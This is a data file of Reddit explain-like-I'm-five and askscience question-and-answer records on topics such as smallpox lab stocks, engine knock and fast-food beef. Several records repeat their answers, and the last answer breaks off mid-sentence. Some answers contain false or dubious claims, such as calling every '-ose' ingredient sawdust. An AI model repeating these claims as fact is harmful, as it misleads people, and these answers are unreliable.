{"q_id": "25a2hc", "title": "why are diseases that have been eliminated kept in labs.what if the labs get contaminated and the disease spreads again?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/25a2hc/eli5why_are_diseases_that_have_been_eliminated/", "answers": {"a_id": ["chf5v1l", "chf5y1o", "chf67vh", "chf68vc", "chf6izz", "chf7981", "chf7obl", "chfbecr"], "score": [21, 11, 8, 73, 6, 4, 5, 4], "text": ["wag: you can never be sure it's totally eliminated, or a variant or hypothetical might emerge that requires a sample to help find a cure. ", "A good question. Though I have no credible sources, I would imagine its as simple as this:\nUSA, Russia, and China all have small pox locked away for a few reasons. First, though no current humans knowingly have it, the virus could be hiding or laying dormant elsewhere. Animals such as bats and vermin are known carriers for some pretty scary stuff like ebolai. So its technically possible for the disease to make a come back. \n\nSecondly, if any of us were at war with each other, the temptation to use it as a weapon is going to be pretty high. Sure, the Geneva Convention outlawed biological warfare,  but in an all out third world war, nothing will be off the table. We keep the virus so in case they try to infect our population, we can create vaccines to counter it. \n\nThere may be some more points such as medical applications of altering the diseases,  but the above reasons are my speculation as to why we still have them. ", "ELI5 answer: we can never be 100% sure that someone else has not kept a deadly virus in a lab. Therefore the risk of it being used as a weapon in the future will always exist, even though it might be small. So it makes sense for us to keep a version of the virus to use in case we need to engineer a treatment in the future. ", "they are kept in case some country or terrorist group has an unregistered secret culture (a viable or dormant preserved form of the disease) that they may use for biological warfare. If, say, smallpox was released to the public in a terrorist act, everyone born after the 1970s when they stopped vaccinating would be susceptible to the disease. The idea behind keeping cultures of these diseases is to allow the quick and workable design of a new vaccine for a hyper-mutated weaponised strain in the event of attack, to eliminate loss of life. However the debate behind keeping these cultures is rife and the potential risks may outweigh the benefit. Basically, they should probably just cook the cultures and be done with it but we can't be sure that someone isn't harbouring the disease in some secret place.", "This was [discussed on NPR](_URL_0_) on Friday, specifically about smallpox, which is the only disease to have been completely wiped off the planet except for lab samples. For smallpox, there is an actual debate about destroying it completely instead of risking it being released again in the future.\n\nI'm pretty sure the rest of them pop up here and there, even if they're mostly eliminated. So it's worth keeping them around to study.", "A lot of them are kept as an index to compare generic structure of new outbreaks to old ones as well as to identify specific strains. ", "A lot of people have answered the first question, for your second question: It's not a movie. Breaking a vile on the ground isn't going to release a massive wave of disease wind into a conveniently open air duct leading to it spreading throughout the building. These are super secure buildings, with well trained staff, made specifically for housing these bugs and preventing the spread outside of its walls. ", "Eliminated doesn't mean no longer exists.\n\nFor example, they recently found smallpox scabs in an envelop that dated to the Civil War, which contained the active virus.  Keeping the virus around allows scientists to because to combat it should an outbreak occur.\n\nAdd to the fact that multiple countries are doing this, and some countries might choose to use it was a weapon, there is a value in keeping it around."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.npr.org/blogs/health/2014/05/09/310475511/keep-or-kill-last-lab-stocks-of-smallpox-time-to-decide-says-who"], [], [], []]}
{"q_id": "aeupzh", "title": "when did the old-style of boxing come to look silly and start being replaced.", "selftext": "If you look at a picture like [this](_URL_0_), it looks kinda silly nowadays. But you'll see it in historical films and such, this is how people used to fight. When did that change and people start raising their hands a bit to better cover their face? ", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aeupzh/eli5_when_did_the_oldstyle_of_boxing_come_to_look/", "answers": {"a_id": ["edss00u", "edt411x", "edt7jbu"], "score": [46, 5, 9], "text": ["Once gloves were introduced it became possible to repeatedly strike the head without breaking your own hand so holding a higher guard was necessary. Also, grappling was clamped down on and so a stance that facilitated wrestling was no longer needed.", "The rules were different and aiming for the face wasn't the best tactic. This meant keeping your distant from the other fighter was valued over protecting your face. Thus you have a pose which will help you do just that. \n\nThe rules were changed after a boxer died in a famous boxing match. Well they weren't so much changed then created, it was pretty no bars before hand. Or at least extremely not standard. ", "When they introduced gloves and rules to \"soften\" the sport. Too many nasty injuries and even deaths before, so various rules were introduced to make the whole thing less dangerous. This obviously lead to a change in strategy and the new strategy demanded a different stance.\n\nSource: my late great-granddad was european champion in the 10st class in 1915"]}, "title_urls": [], "selftext_urls": ["https://c1.staticflickr.com/3/2607/4107147125_dba18605c2_b.jpg"], "answers_urls": [[], [], []]}
{"q_id": "308oci", "title": "women", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/308oci/eli5_women/", "answers": {"a_id": ["cpq3oxf"], "score": [2], "text": ["This should be good! Gonna be a long show with no ending folks, I suggest the big bin of popcorn and peeing before getting to your seats."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "l9dwj", "title": "Is there a theoretical maximum hardness?", "selftext": "I know diamonds are extremely hard and there are a couple things even harder then diamonds.  Could there be something even harder that we haven't found yet? Is there some kind of theoretical limit to the hardness of a substance?  If there is, what is the limiting factor?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l9dwj/is_there_a_theoretical_maximum_hardness/", "answers": {"a_id": ["c2qu7wo", "c2qu89g", "c2qv73f", "c2qwxtw", "c2qu7wo", "c2qu89g", "c2qv73f", "c2qwxtw"], "score": [2, 8, 5, 6, 2, 8, 5, 6], "text": ["Hardness depends on the atom, an atomic structure, atomic bond strength. Carbon is great, [osmium](_URL_1_) seems promising. There are a lot of new molecular arrangements being tried out as well, [including very recently](_URL_0_), we also can't rule out other elements being discovered/created with better properties for hardness. I'd say you can't put a limit on it until you are confident we are at the end of the periodic table and that's not now.", "Would a neutron star be very hard? It's certainly one of the densest things I can think of that isn't a black hole. ", "Where are the Material Science people? ", "There are literally entire sections of University libraries devoted to \"hardness,\" there are many types, you'll need to be more specific by what you mean. Tensile strength? Yield Strength? Impact Strength?\n\nThe short answer is that the \"theoretical\" strength of a material is the summation of all of the intermolecular interactions. In practice however, materials will fail at defects in the material, understanding and minimizing these defects is an active area of research across all materials and applications (mechanical, electrical, etc).\n\nTo answer your \"could there be something harder than...?\" Yes, many nanomaterials appear to be significantly stronger than their macrosized counterparts, but implementing them in practical structures is difficult. There is no practical upper limit to this.\n\nA primer:\n\nSo \"hardness\" is a product of many complex intermolecular interactions and can be difficult to compare among different materials. In materials science we generally talk about \"hardness\" in terms of how a material responds (strains / deforms) to a load (stress). This relationship can be expressed by a [stress-strain curve](_URL_0_). Sometimes materials respond to stress elastically, returning to their original form after the applied force is removed (i.e. soft rubber) while other times materials respond plastically, retaining a deformed shape after the applied force is removed (i.e. a dent in sheet metal). These curves look drastically different for [different materials](_URL_1_), certain properties work well for some applications but not for others, so it is difficult (arguably pointless) to determine the \"hardest\" or \"strongest\" material of all.", "Hardness depends on the atom, an atomic structure, atomic bond strength. Carbon is great, [osmium](_URL_1_) seems promising. There are a lot of new molecular arrangements being tried out as well, [including very recently](_URL_0_), we also can't rule out other elements being discovered/created with better properties for hardness. I'd say you can't put a limit on it until you are confident we are at the end of the periodic table and that's not now.", "Would a neutron star be very hard? It's certainly one of the densest things I can think of that isn't a black hole. ", "Where are the Material Science people? ", "There are literally entire sections of University libraries devoted to \"hardness,\" there are many types, you'll need to be more specific by what you mean. Tensile strength? Yield Strength? Impact Strength?\n\nThe short answer is that the \"theoretical\" strength of a material is the summation of all of the intermolecular interactions. In practice however, materials will fail at defects in the material, understanding and minimizing these defects is an active area of research across all materials and applications (mechanical, electrical, etc).\n\nTo answer your \"could there be something harder than...?\" Yes, many nanomaterials appear to be significantly stronger than their macrosized counterparts, but implementing them in practical structures is difficult. There is no practical upper limit to this.\n\nA primer:\n\nSo \"hardness\" is a product of many complex intermolecular interactions and can be difficult to compare among different materials. In materials science we generally talk about \"hardness\" in terms of how a material responds (strains / deforms) to a load (stress). This relationship can be expressed by a [stress-strain curve](_URL_0_). Sometimes materials respond to stress elastically, returning to their original form after the applied force is removed (i.e. soft rubber) while other times materials respond plastically, retaining a deformed shape after the applied force is removed (i.e. a dent in sheet metal). These curves look drastically different for [different materials](_URL_1_), certain properties work well for some applications but not for others, so it is difficult (arguably pointless) to determine the \"hardest\" or \"strongest\" material of all."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.physorg.com/news/2011-10-superhard-carbon.html", "http://physics.nist.gov/cgi-bin/Star/compos.pl?matno=076"], [], [], ["http://en.wikipedia.org/wiki/Stress-strain_curve", "http://www.google.com/search?q=stress+strain+rubber&amp;hl=en&amp;client=firefox-a&amp;hs=LjN&amp;rls=org.mozilla:en-US:official&amp;prmd=imvns&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=-MWVTvCWIYO2tgfarOzPDw&amp;ved=0CDMQsAQ&amp;biw=1440&amp;bih=787#hl=en&amp;client=firefox-a&amp;hs=NjN&amp;rls=org.mozilla:en-US%3Aofficial&amp;tbm=isch&amp;sa=1&amp;q=stress+strain&amp;pbx=1&amp;oq=stress+strain&amp;aq=f&amp;aqi=g10&amp;aql=&amp;gs_sm=e&amp;gs_upl=113923l114912l0l115154l7l7l0l0l0l1l227l824l4.2.1l7l0&amp;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&amp;fp=82f1cff230254ac2&amp;biw=1440&amp;bih=787"], ["http://www.physorg.com/news/2011-10-superhard-carbon.html", "http://physics.nist.gov/cgi-bin/Star/compos.pl?matno=076"], [], [], ["http://en.wikipedia.org/wiki/Stress-strain_curve", "http://www.google.com/search?q=stress+strain+rubber&amp;hl=en&amp;client=firefox-a&amp;hs=LjN&amp;rls=org.mozilla:en-US:official&amp;prmd=imvns&amp;tbm=isch&amp;tbo=u&amp;source=univ&amp;sa=X&amp;ei=-MWVTvCWIYO2tgfarOzPDw&amp;ved=0CDMQsAQ&amp;biw=1440&amp;bih=787#hl=en&amp;client=firefox-a&amp;hs=NjN&amp;rls=org.mozilla:en-US%3Aofficial&amp;tbm=isch&amp;sa=1&amp;q=stress+strain&amp;pbx=1&amp;oq=stress+strain&amp;aq=f&amp;aqi=g10&amp;aql=&amp;gs_sm=e&amp;gs_upl=113923l114912l0l115154l7l7l0l0l0l1l227l824l4.2.1l7l0&amp;bav=on.2,or.r_gc.r_pw.r_cp.,cf.osb&amp;fp=82f1cff230254ac2&amp;biw=1440&amp;bih=787"]]}
{"q_id": "2wp6wx", "title": "my cat goes wild in the presence of bleach. why is this?", "selftext": "When I bleach the kitchen floor, my cat goes into this weird mood, rolls everywhere and over-playfully attacks my hand. Why?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wp6wx/eli5_my_cat_goes_wild_in_the_presence_of_bleach/", "answers": {"a_id": ["cosv76j"], "score": [3], "text": ["Well, shit, it sounds like she's getting some kind of chemical high. I'm not a veterinarian but I suspect it's probably not good for her brain (because chemicals rarely are, and bleach is known to be toxic). I'd say keep her in a bathroom or something if you're gonna be bleaching. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2waolc", "title": "how does top gear get away with film promotions when the bbc is state owned and is only allowed to promote it's own programming?", "selftext": "Just saw the episode where they had Will Smith and Margot Robbie promoting Focus.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2waolc/eli5_how_does_top_gear_get_away_with_film/", "answers": {"a_id": ["cop2yiz", "cop4cni"], "score": [11, 11], "text": ["As that section of the show is basically a chat show it follows the same rules as others like Graham Norton. \n\nThey get away with it by not promoting the film exclusively, just interview a persons who mentions it at some point. This is ok as to be fair, at that point in time its the biggest thing happening in his/her life.", "They're not promoting a film, they're interviewing / chatting with an actor. If that actor then happens to talk about his or her recent film then that's fine. It's not the same as running a paid-for advertisement purely for the film -- the BBC can promote anything it wants to **as long as it's not a paid-for promotion** or advertisement.\n\nAlso, as a technicality the BBC isn't state-owned. It's publicly funded. But the British government has no say in the running of the BBC and no control over its editorial content."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "l66dm", "title": "Do you burn more calories when you're sick?", "selftext": "When you're sick you can experience symptoms like increased mucous production and fever.  I imagine that since the body has to deal with these problems it would have to spend more energy.  Anybody able to expand on this idea?\n\nSide question: when you have a cold, where the hell does all of that mucous come from?  It's non-stop!\n\n**Edit:**  Thanks for all the info guys.  This subreddit is awesome!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/l66dm/do_you_burn_more_calories_when_youre_sick/", "answers": {"a_id": ["c2q3iwx", "c2q3mmr", "c2q3iwx", "c2q3mmr"], "score": [134, 28, 134, 28], "text": ["Yes, baseline energy usage increases ~15% with each degree increase in temperature.\n\nInflammation dumps a lot of chemicals into your blood that fire up the breakdown of fat and glycogen stores. Basically you mobilize your body's stored energy so that it can be used to fight infection.\n\nSide question: Your respiratory tract from the nose on down is filled with \"goblet cells\" that create mucous secretions. These secretions trap infectious particles, which are then carried out of the respiratory tract by a \"mucociliary escalator\" -- basically, the other cells in your lungs have little fingers on them that push the mucus out of your body...onto your handkerchief. \n\nThe fluid for mucous production comes from your blood. Goblet cells synthesize a substance called mucin, mix it with water from blood, and pump it into your respiratory tract.", "Yes. You do burn more calories when sick. Your body ramps up the metabolism and uses extra resources for fighting the disease and repairing damage.\n\nThis is one reason a long cold or flu can make you lose weight. It becomes even more significant when combined with nausea, lack of appetite, or any number of other things that make it harder to maintain your intake of nutrients.\n\nExtra mucus is one of the things the body may spend resources on. It's produced by *[goblet cells](_URL_0_)* in the lining of the respiratory tract. Those cells spend all their time taking glucose and protein from the bloodstream, and running them through a bunch of enzymes, to produce a glycoprotein called *[mucin](_URL_1_)*. They secrete that stuff onto the membrane surface. Other cells produce a watery secretion, and when mucin mixes with water, it forms the gel we call [mucus](_URL_2_).", "Yes, baseline energy usage increases ~15% with each degree increase in temperature.\n\nInflammation dumps a lot of chemicals into your blood that fire up the breakdown of fat and glycogen stores. Basically you mobilize your body's stored energy so that it can be used to fight infection.\n\nSide question: Your respiratory tract from the nose on down is filled with \"goblet cells\" that create mucous secretions. These secretions trap infectious particles, which are then carried out of the respiratory tract by a \"mucociliary escalator\" -- basically, the other cells in your lungs have little fingers on them that push the mucus out of your body...onto your handkerchief. \n\nThe fluid for mucous production comes from your blood. Goblet cells synthesize a substance called mucin, mix it with water from blood, and pump it into your respiratory tract.", "Yes. You do burn more calories when sick. Your body ramps up the metabolism and uses extra resources for fighting the disease and repairing damage.\n\nThis is one reason a long cold or flu can make you lose weight. It becomes even more significant when combined with nausea, lack of appetite, or any number of other things that make it harder to maintain your intake of nutrients.\n\nExtra mucus is one of the things the body may spend resources on. It's produced by *[goblet cells](_URL_0_)* in the lining of the respiratory tract. Those cells spend all their time taking glucose and protein from the bloodstream, and running them through a bunch of enzymes, to produce a glycoprotein called *[mucin](_URL_1_)*. They secrete that stuff onto the membrane surface. Other cells produce a watery secretion, and when mucin mixes with water, it forms the gel we call [mucus](_URL_2_)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Goblet_cell", "http://en.wikipedia.org/wiki/Mucin", "http://en.wikipedia.org/wiki/Mucus"], [], ["http://en.wikipedia.org/wiki/Goblet_cell", "http://en.wikipedia.org/wiki/Mucin", "http://en.wikipedia.org/wiki/Mucus"]]}
{"q_id": "zgvqn", "title": "the usage of coefficient variation?", "selftext": "I understand how to calculate it, but even though I've read several definitions, I just can't comprehend the application. Can someone put this in very simple terms?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/zgvqn/eli5_the_usage_of_coefficient_variation/", "answers": {"a_id": ["c64ipnx"], "score": [3], "text": ["Are you talking about the statistical Coefficient of Variation? If so, it is simply the ratio of the population standard deviation to the mean.  It is useful for comparing the spread of different populations where the means are quite different, or the units of measurement are different. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6ab54y", "title": "why is mining bad for the environment.", "selftext": "Is it because it uses land which would otherwise be home to wild life?\n\nIs it because there are limited resources and they will straight up run out? If so why does this matter?\n\nI suppose the machines used cause pollution, but how do they do so?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6ab54y/eli5_why_is_mining_bad_for_the_environment/", "answers": {"a_id": ["dhd5ova", "dhdcg7t"], "score": [6, 3], "text": ["Mining produces a lot of really dangerous byproducts. Consider the historical example of Mercury in Gold mining. Though it is not true in most Gold mining operations anymore, Mercury was used in the process of extracting Gold from rock for a long time. That Mercury is still around and places that had lots of gold mines like California are still dealing with the consequences.\n\nGetting particular metals out of chunks of rock generally involves lots of pretty nasty chemicals that make their way into the wider environment.", "Mining in third world countries have been extremely harmful to the environment. Having a small government or no government entity constantly checking if miners are following safe practices is allowing these places to not take the precautions necessary to be cognizant of the environment (often because it costs more to do so). Since the laws and regulations mining companies have to adhere by in the states (and other countries mind you)  are extremely extremely strict so the environmental impact has been very low. Open pit mining eventually leaves a huge gaping hole in the ground that can never be replaced but often these pits will eventually be filled with groundwater and turned into lakes. Modern methods of mining are safe compared to what the media portrays.. and the chances of a mine polluting here are nearly impossible considering. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1tbya5", "title": "How can a modern car engine have a compression ratio of 11.5 to 1, and still run on 87 octane gasoline?", "selftext": "I recently drove a 2014 Chevy Impala. The tiny V6 engine was so impressive that I looked up its specifications. 11.5 to 1 compression! 87 octane should ping like mad, but it doesn't. Why not? ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1tbya5/how_can_a_modern_car_engine_have_a_compression/", "answers": {"a_id": ["ce6evev", "ce6f0zm", "ce6fa0m", "ce6gxp6", "ce6tez7", "ce6wdil"], "score": [252, 3, 15, 4, 2, 2], "text": ["Its more a case of how safely newer cars can run on the edge of knock. Unlike older cars, your new car has an amazing computer that can read all sorts of sensors to determine how to run with the ~87 octane you're putting in it. \n\nFirst off its important to know what octane is. In the past it was a measure of certain molecules in the fuel, now its a measurement of how resistant a fuel is to ignition in light of heat and pressure. Low octane is thus less stable than high octane. It will ignite easier and less predictably.\n\nNext knock, its mostly referred to iginition in the cylinder at a bad time. Hot spots, pressure and heat can cause the ignition of fuel/air mixtures at really bad times, like when a cylinder (piston, oops!) is traveling up! This is nasty slam which can cause tons of damage over time to ring lands, bearings, etc. Also note that ignition is not instantaneous. It takes time and deals with the flame front from the spark to the piston head. So what you want to shoot for is igintion at spark with the flame front meeting the piston head at the downstoke. Preferrable when the connecting rod is at an angle where the vector of force is such that more force goes to rotating the crank than hammering the bearing.\n\nSo the name of the game is controlled ignition! \n\nKnock sensors detect when ignition goes bad and can retard timing to ensure future ignition at certain loads/rpm occur nicely. Intake temperature sensor can alter timing as well when it gets too hot outside. MAF / MAP sensors work in turbo cars to alter timing based on pressure added to the cylinders. \n\nIn short your new car is a robot with tons of sensors, algorithms and data tables that help it determine how to best run low octane fuel safely.\n\nEDIT: I have modified many turbo cars, helped reverse engineer automotive ROMs using IDA and have written my own software to edit ROM tables, log data, etc. My own last car was a turbo STi running 24 psi on 93 octane, and more PSI when I turned my meth injection kit on. \n\nEDIT #2: This is a snapshot of timing data a car would use. _URL_0_\n\nEDIT #3: When talking about timing values, you're talking about degrees of crank/rod angle before TDC (top dead center, or totally vertical connecting rod) Since ignition takes time, you spark before TDC and hope to god the flame front hits the piston head on the down stroke, after TDC.\n\nEDIT #4: Another thing to consider is fuel economy and AFR (air fuel ratio). There is a AFR point 14.7:1 *stoich* thats the optimum ratio for perfect combustion. The problem is that this makes for very unstable conditions in a high compression engine as leaner ratios can create very hot combustion. Against this is set of bad pollutants created at this lean ratio. All taken together its best to run at 12.5:1 to even better, low 13s:1. Once again, until recently with new materials and great car computers like those in the Impala, this just wasn't an option and you would have to run richer to cool the cylinder while wasting fuel.", "Many factors are involved in controlling \"ping\" or better described as pre ignition. \n\nOne of which is materials being used in the construction of the cylinder head/heads and block casting. A general rule of thumb, at least in the small block chevy world, is that aluminum heads will allow you to run 1 compression higher while all other variables are the same. Not always the case, but it explains the point superficially.\n\nAnother is cooling. A lot of work goes into the plumbing of the engine. Take for example the older chevy small block engines. The coolant system was fairly simple, but because of the way it was setup different parts of the engine would run at different temperatures because the coolant would get progressively warmer. Hotter parts cylinders will detonate faster. \n\nThen of course there is all of the computer controls which very finely calibrate how much fuel to add to help control/cool the cylinders.\n\nOthers will chime in with more specific things. But in general every little thing will play a role which adds up. Like quench, cam profile, cylinder ring gap, oil, etc.", "Also probably benefit of direct injection systems.  It injects the gas into the cylinder at the last possible moment, allowing the engine to better prevent pre-ignition knock\n\nSource\n_URL_0_", "To begin with, many of the other comments are highly relevant, but a better understanding of \"knock\" will fully answer your question. Knock occurs in any gasoline engine when ignition occurs before TDC and the combustion pressure front hits the piston combustion chamber face at a crank angle in which the vast majority of the load does not do useful work on the crank but simply overloads the wrist pin and crank bearings. The premature ignition timing creates much higher combustion chamber pressures and resonances that destroy valves, erode cylinders, heads and pistons, and break rings. The cause is simple and key to your answer: something in that chamber causes a spark (incorrect spark plug timing, burning/sparking components or intake charge), or gets hot enough to cause spontaneous combustion. To elaborate: A intake charge of fuel and air can be pre pressurized and heated by a turbo and then after being compressed be beyond autoignition temperature. Or a exhaust valve could be made of a material which retains heat (glowing hot) and the local mixture can therefore ignite due to contact (think simple physics, conduction, convection, and radiation).\nModern engines have active fuel management (computerized) that stops potential preignition mixtures during high load conditions (something a carb would not do) and also hot intake conditions (this is designed into the fuel map), they also employ sensors that detect knock and adjust intake mixtures accordingly (richen to decrease combustion chamber temperature).\nNow with that being said, high compression ratio engines have been built in the past that worked great. For example: the fireball combustion chamber has been run at up to 14:1:\n_URL_1_ \nand here: \n_URL_0_\n\nAs has been pointed out it is modern fuel management and spark timing, as well as better design of the cooling system within the block and head (thank computer aided design) and last but not least modern material choices that have allowed less expensive engine designs to running higher combustion chamber pressures and thus achieve higher efficiency. \n\nNote: All of this is simplified for the sake of a short response.\n\nSource: I have designed and manufactured heavy fuel, and spark ignition engines for prototype and production.\n", "tugi is correct in that combustion knock (ping etc...) is premature autoigntion of the fuel. There have been significant advances that have enabled regular (IMO low octane) fuels to be more widely utilized. The knock sensor alglorathim is part of that, but just as important are advance to the combustion chamber, scavenging, direct injection, in-cylinder fluid dynamics and EGR (exhaust gas recirculation).\n\nTechnically what you are noting as as knock is end gas knock, which is premature ignition of the peripheral charge late in the cycle. end gas knock is a function of time and temperature (and to some degree pressure).  This is commonly modeled with the livingwood-wu integral or [similar methods](_URL_0_). Temperature is primarily a function of compression ratio, however it is also a function of composition (ratio of specific hearts of the working fluid), initial temperature at intake valve close, and to some degree the combustion rate. \n\nWith a direct injected engine the fuel evaporates inside the cylinder, cooling the charge. This effectively increases the knock tolerance of the engine, as it decreases the final compressed charge temperature prior to spark and combustion. Moreover if the combustion chamber has good turbulence then the combustion rate increases decreasing the time that the end gas has to wait till the flame arrives. These two factors decreases the time temperature history and thereby reduce knocking propensity. \n\nAdditionally cooled EGR can be used to reduce the effects of compression heating (charge temperature prior to spark) by changing the specific heat of the charge (EGR has a high specific heat reducing charge heating and combustion temperatures).\n\nIn all likelihood the engine you drove does a bit of all of these. which are all aimed at increase fuel economy and power in a smaller displacement engine.\n\n\nEDIT! I can guarantee that GM or any other OEM has optimized the combustion rate and performance of a \"normal engine\" that is intended for 87AKI gasoline where the engine is not overly limited by knock at typical driving conditions, that would affect the vehicles ability to meet  corporate average fuel economy (CAFE) requirements. ", "Motorcycles can have mechanical compression ratios much higher (13:1 is common,) and still run on 87. With motorcycles, it's important to understand that the mechanical compression ratio is different than the effective compression ratio. The effective compression ratio is a combination of the mechanical ratio and the volumetric efficiency of the engine.\n\nAn engine spinning at 10,000RPM doesn't do a great job of filling the cylinders completely, so it has a relatively low Volumetric Efficiency. Because of this, the cylinder doesn't quite fill up completely, so the actual pressure in the cylinder isn't as high as you might expect.\n\nVolumetric Efficiency describes how well the engine is capable of filling the cylinders. A VE of 1.0 is considered very good. Some naturally aspirated engines can do better than 1.0, by taking advantage of the inertia of air to ram air into the cylinder. Turbo-charging is a technique that permits VE to go well above 1."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://imgur.com/n4rdXAt"], [], ["http://www.caranddriver.com/columns/will-gasoline-direct-injection-finally-make-it"], ["http://www.jagweb.com/jagworld/v12-engine/page4.html", "http://www.jagweb.com/jagworld/v12-engine/fig3.gif"], ["http://www.ing.unibs.it/~beretta/www.JamesKeckCollectedWorks.org/JCKeck-papers/CowartKeckHeywoodWestbrookPitz-IntlSympCombustionInst-23-1055-1991.pdf"], []]}
{"q_id": "23k7i9", "title": "when places like wendy's and mcdonalds say \"100% real beef\"...as opposed to what?", "selftext": "Staring at my Wendy's Son of Baconator tonight it says \"100% pure beef hamburger\"...should I be impressed I'm eating actual beef?  What's used in burgers that aren't 100% beef?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/23k7i9/eli5when_places_like_wendys_and_mcdonalds_say_100/", "answers": {"a_id": ["cgxt487", "cgxt4os", "cgxtlsf", "cgxux40", "cgxwkf2", "cgxxlel", "cgxy4xd", "cgy4mre"], "score": [8, 3, 15, 5, 2, 4, 5, 2], "text": ["A number of things really. Beef heart, bead crumbs, any sort of grain fillers.", "A lot of those ads are to show they aren't using filler. A lot of places use things like TVP (textured vegetable protein) or other cheaper things to bulk up the burgers and make more money.", "I remember buying packaged dumplings. There was a Pork and a Beef package. Pork bag said - contains: pork. Beef package said - contains: pork, beef flavoring.", "Grain fillers, textured vegetable protein, soy, pork, [horse](_URL_0_), etc.", "**100% beef** is actually the name of the company that the burgers come from.", "Other than the other reasons mentioned, saying your burger is 100% meat is a way of subtly implying that other companies sell burgers that are not.", "It's not always about making themselves look good, but making the competitors look worse. People may say \" Wendy's says that it uses 100% pure beef. I wonder what Burger King uses then, gross\" so then Burger King has to say 100% pure beef too or else people have doubts.\n\nAnother point is that some places use a blend of beef, chicken, pork, etc. so \"pure beef\" could be a comfort to customers.", "Wendy's used this in their well-known \"Where's the Beef?!\" ad campaign back in the day, as a means of suggesting that the competition had precious little actual beef in their own burgers. (This is perfectly legal unless they outright say \"those other guys don't have any beef in there\" -- simply implying it is allowed)\n\nSome places have been accused of including a certain plant-based filler called \"cellulose\" in their foods (Chicken McNuggets, frequently get accused of this), which IS still quite common in everything from hot dogs to bread to granola bars in the grocery store. It's all-natural, considered (comparatively) harmless, and is also known by its common name: \"sawdust.\"\n\nTL:DR - Read the ingredients. If you see a word ending in \"-ose,\" you're eating sawdust."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["http://www.theguardian.com/uk-news/2013/oct/22/horsemeat-scandal-guardian-investigation-public-secrecy"], [], [], [], []]}
{"q_id": "23wzxm", "title": "Can eating active yeast before consuming alcohol significantly mitigate blood alcohol levels?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/23wzxm/can_eating_active_yeast_before_consuming_alcohol/", "answers": {"a_id": ["ch1eqr3"], "score": [21], "text": [" > Do the enzymes stay functional in your stomach?\n\nYes. _URL_0_ These enzymes are already present in your body, some already in stomach acids.\n\n > How much yeast would you need to consume to have an observable effect?\n\nGiven the efficiency of this enzyme, enough yeast per beer to obtain about half a milligram of ADH.\n\n > By that I mean, what is the most alcohol you can consume in the 4 hours, for example, following yeast consumption without having a BAC over .08%?\n\nThis depends almost entirely on how efficient the body's metabolism is."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.hamsnetwork.org/metabolism/"]]}
{"q_id": "aqjmrx", "title": "what is the difference of chaotic and periodic orbits?", "selftext": "In math billiards, what are/is the difference of chaotic and periodic orbits? are there other types of orbits?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/aqjmrx/eli5_what_is_the_difference_of_chaotic_and/", "answers": {"a_id": ["eggfvc4"], "score": [2], "text": ["I don't know what math billiard is, but in space the difference between chaotic and periodic orbits is that periodic orbits at some point repeat themselves, usually after a single orbit. This is typical for objects that circle around another, like the planets around the sun or the moons around the planet. But periodic orbits can be more complicated than that, like for example some distant systems have two stars circling around one another which results in some wonky orbits for their planets.\n\nA chaotic or unstable orbit opposed to that is one which does not repeat. So for example asteroids that move through the inner solar system are typically not in periodic orbits, since they occasionally get close to planets and change their orbits."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "b2byhg", "title": "I\u2019m a wealthy woman somewhere in late-Medieval Europe and I\u2019ve just given birth to my first child (a boy, let\u2019s say). Assuming I don\u2019t die and the child doesn\u2019t die, what will my life as a brand new mother be like, how will I care for the baby and what duties might I delegate to the household staff?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/b2byhg/im_a_wealthy_woman_somewhere_in_latemedieval/", "answers": {"a_id": ["eis9cij"], "score": [223], "text": ["Have you ever watched *Game of Thrones*, or better yet, read the ASOIAF books? One thing that has always stuck out to me is the way Martin crafts a very strong family-centric identity and motivational pattern for the noble women characters. Obviously the motives of actual people are infinitely more complex and diverse than fictional characters. \n\nBut we might think of the picture he creates of Cat and Cersei in particular as *normative* or prescriptive for the late Middle Ages. That \"Family First\" mindset is our frame of reference for understanding the lives and duties of new patrician and noble mothers.\n\n\"First\" would first mean the new mother taking care of herself. For England, Barbara Harris describes a three-stage \"lying-in\" period that was expected (though again, actual practices would vary by case). First, the mother was *literally* lying, in her bed; after a period of two weeks or so, she was considered healed enough to sit upright; after another stretch of time, she could walk around but still only in the birthing/lying-in chamber. (Which she had prepared in advance to be special and awesome.) \n\nAll of this gave her body time to recover from the trauma of childbirth before resuming her regular household and court duties. And most particularly, before she was in the presence of men--especially her husband--again. (Incidentally, this is one reason that the \"wet nurses so she could get 